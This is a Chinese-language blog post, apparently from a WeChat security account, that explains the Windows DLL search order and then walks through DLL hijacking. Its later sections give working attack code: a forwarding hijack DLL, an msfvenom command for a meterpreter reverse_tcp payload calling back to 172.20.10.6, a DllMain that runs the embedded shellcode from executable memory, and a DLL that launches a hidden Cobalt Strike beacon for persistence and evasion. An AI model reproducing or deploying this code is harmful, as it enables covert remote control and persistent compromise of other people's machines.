点击蓝字关注我哦
DLL劫持原理学习
0x01 什么是DLL?
百度百科:
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
简而言之:
DLL 是一个包含可由多个程序同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32 DLL 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。
0x02 程序运行时DLL的加载顺序
-
Windows XP SP2之前
Windows查找DLL的目录以及对应的顺序:
-
进程对应的应用程序所在目录;
-
当前目录(Current Directory);
-
系统目录(通过 GetSystemDirectory 获取);
-
16位系统目录;
-
Windows目录(通过 GetWindowsDirectory 获取);
-
PATH环境变量中的各个目录;
栗子 :对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。
-
在Windows xp sp2之后
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为1
-
进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
-
系统目录(即%windir%system32);
-
16位系统目录(即%windir%system);
-
Windows目录(即%windir%);
-
当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
-
PATH环境变量中的各个目录;
-
Windows7以上
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。
-
进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
-
系统目录(即%windir%system32);
-
16位系统目录(即%windir%system);
-
Windows目录(即%windir%);
-
当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
-
PATH环境变量中的各个目录;
0x03编写DLL
vs2019-动态链接库项目
每个dll都一个dllmian.cpp源文件,默认如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄
DWORD ul_reason_for_call, // 调用原因
LPVOID lpReserved // 参数保留
)
{
switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式
{
case DLL_PROCESS_ATTACH: // DLL被某个程序加载
case DLL_THREAD_ATTACH: // DLL被某个线程加载
case DLL_THREAD_DETACH: // DLL被某个线程卸载
case DLL_PROCESS_DETACH: //DLL被某个程序卸载
break;
}
return TRUE;
}
头文件:framework.h
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
pch.h
// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
#endif //PCH_H
举个栗子:
引入windows.h ,使用messagebox函数做一个demo:
dllmain.cpp
#include "pch.h"
#include "windows.h"
int add(int x,int y) {
return(x + y);
}
void message() {
MessageBox(0, L"hello world", 0, 0);
}
Framework.h
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
// 这种声明方式是强制用c语言方式进行修饰,且用C的默认约定__cdecl方式。
// 这种方式编译产生的DLL中有两个导出函数:add,message。不加任何修饰。
extern "C" __declspec(dllexport) int add(int x,int y);
extern "C" __declspec(dllexport) void message(void);
生成—>生成解决方案,得到dll
0x04 调用DLL
python调用DLL
import ctypes
dll = ctypes.CDLL("dll路径")
a=dll.func()
a
c++加载时动态链接
#include "iostream"
using namespace std;
#pragma comment(lib,"C:\Users\bz\source\repos\DLL_demo\x64\Release\DLL_demo.lib")
extern "C" __declspec(dllimport) int add(int a, int b);
extern "C" __declspec(dllimport) void message();
int main() {
cout << add(1, 2) << endl;
message();
}
c++运行时动态链接
#include <iostream>
#include <Windows.h>
using namespace std;
//定义一个函数类,
typedef int(*addfun)(int a, int b);
typedef void(*messagefun)();
int main()
{ //指定加载dll库
HMODULE hdll = LoadLibrary(LPCWSTR(L"DLL_demo.dll"));
if (hdll != NULL)
{ //获取函数位置
addfun add = (addfun)GetProcAddress(hdll, "add");
messagefun message = (messagefun)GetProcAddress(hdll, "message");
if (add != NULL)
{
cout << add(1, 2) << endl;
// system("pause");
}
if (add = NULL) {
printf("获取函数失败");
// system("pause");
}
if (message!= NULL)
{
message();
}
FreeLibrary(hdll);
}
else
{
printf("获取句柄失败");
system("pause");
}
}
0x05 转发式DLL劫持
简而言之,不影响程序 本身功能的同时执行恶意dll
举个栗子:
将原来的dll名写在转发方法里,然后将生成的dll文件重命名为劫持的dll文件名:
#include "pch.h"
#include "windows.h"
//开始转发,将函数方法转发
//导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, L"hacked by cxk", L"hi", MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
然后将dll放在exe同一目录,已经劫持成功了:
0x06 使用DLL劫持上线主机
dll加载shellcode上线
生成shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.20.10.6 -b 'xfcxe8' lport=4444 -f c
生成dll:
#include "pch.h"
#include "windows.h"
//开始转发,将函数方法转发
//导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
unsigned char buf[] =
"x48x31xc9x48x81xe9xc0xffxffxffx48x8dx05xefxff"
"xffxffx48xbbx66x9ax22x85x4fxeexeexb7x48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x9axd2xa1x61xbfx06"
"x22xb7x66x9ax63xd4x0exbexbcxe6x2exabxf0xd3x2a"
"xa6x65xe5x06xd2xa9xd7x57xa6x65xe5x46xd7x13x4c"
"x07x65x9cxe7x2ex95x95xcfx05xa6xdfx77xcaxa6x43"
"xf9x4dxc2xcexf6xa7x53x2fxc4x4ex2fx0cx5ax34xdb"
"x73xcdxc4xbcxcex3cx24xa6x6ax84x9fx88x6fxcfx7e"
"x91x20x8axcax9cxeexb7x66x11xa2x0dx4fxeexeexff"
"xe3x5ax56xe2x07xefx3ex3cx2ex82x72xc1xc4xaexce"
"xfex67x4axc1xd3x07x11x27xf6xedxaexaaxc8x7ex27"
"xa6xb6xb0xd2x13x45xe3xafx2fx7ex6bxdbx23x44x77"
"x0ex9bx46x2ax99x6exa1x47xabxd7x66x13x42x7axc1"
"xc4xaexcaxfex67x4ax44xc4xc4xe2xa6xf3xedxdax3e"
"xccx4ex3exafx3cx62x12x63xddx07xefx3exf6x3exc4"
"x7bxdfx0exb6xafxeex27xc0x6ax06xa3xcexafxe5x99"
"x7ax7axc4x16xb4xa6x3cx74x73x69x7axb0x11xb3xfe"
"xd8xedx51xb7x10xddxdcxb7x66xdbx74xccxc6x08xa6"
"x36x8ax3ax23x85x4fxa7x67x52x2fx26x20x85x5exb2"
"x42xa3x6cx9cx63xd1x06x67x0axfbxefx6bx63x3fx03"
"x99xc8xb0x99x4fx6ex0cxa5x86xefxb6x66x9ax7bxc4"
"xf5xc7x6exdcx66x65xf7xefx45xafxb0xe7x36xd7x13"
"x4cx02xdfx2exffx99x5ax6ax0cx8dxa6x11x77x2ex13"
"xe3xc4xf5x04xe1x68x86x65xf7xcdxc6x29x84xa7x27"
"xc2x6ex0cxadxa6x67x4ex27x20xbbx20x3bx8fx11x62"
"xe3x5ax56x8fx06x11x20xc2x83x72xb1x85x4fxeexa6"
"x34x8ax8ax6ax0cxadxa3xdfx7ex0cx9ex63xddx07x67"
"x17xf6xdcx98xfbx4dx10x11x3bx34x9ex9ax5cxd0x07"
"x6dx2ax97x38x13xd4xefx0fxafxb7xdfx66x8ax22x85"
"x0exb6xa6x3ex94xd2x13x4cx0ex54xb6x13x35x7fxdd"
"x50x07x67x2dxfexefx5dx6fxb4x86xa7x67x47x2ex13"
"xf8xcdxc6x17xafx0dx64x43xeaxdaxb0x3bx6dx4fx66"
"xe7x0axddx0exb9xb7xdfx66xdax22x85x0exb6x84xb7"
"x3cxdbx98x8ex60xe1xdex48xb3xcdx7bxc4xf5x9bx80"
"xfax07x65xf7xccxb0x20x07x8bx99x65xddxcdx4ex2d"
"xa6x9exa0xd2xa7x73x3ax5axafx48x81xc2x48x85x16"
"xa7x29x75x96x2fx80xd3xb0x3bxeexb7";
size_t size = sizeof(buf);
char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(inject, buf, size);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
Ps:这种直接生成的dll不免杀,实战中需要做免杀处理。
dll加载免杀马上线
首先给这个文件加一个隐藏属性:
attrib +h beacon.exe
接着采用DLL去加载这个木马,
代码如下:
#include "pch.h"
#include "windows.h"
//开始转发,将函数方法转发
//导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("path\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
return TRUE;
}
然后后面直接去尝试加载就行了,程序执行完的时候(DLL_PROCESS_DETACH
),会自动加载我们的cs马。
说一下这种方案的好处,就是DLL根本没有恶意操作,所以肯定会免杀,但是你的木马文件要做好免杀,这种思路主要应用于通过劫持一些程序的DLL,然后实现隐蔽的重启上线,也就是权限持续维持,单单杀启动项对DLL进行权限维持的方式来说是没有用的。
参考文章:https://www.anquanke.com/post/id/232891#h2-12
END
看完记得点赞,关注哟,爱您!
扫码领hacker资料,常用工具,以及各种福利
本文始发于微信公众号(远洋的小船):DLL劫持原理学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论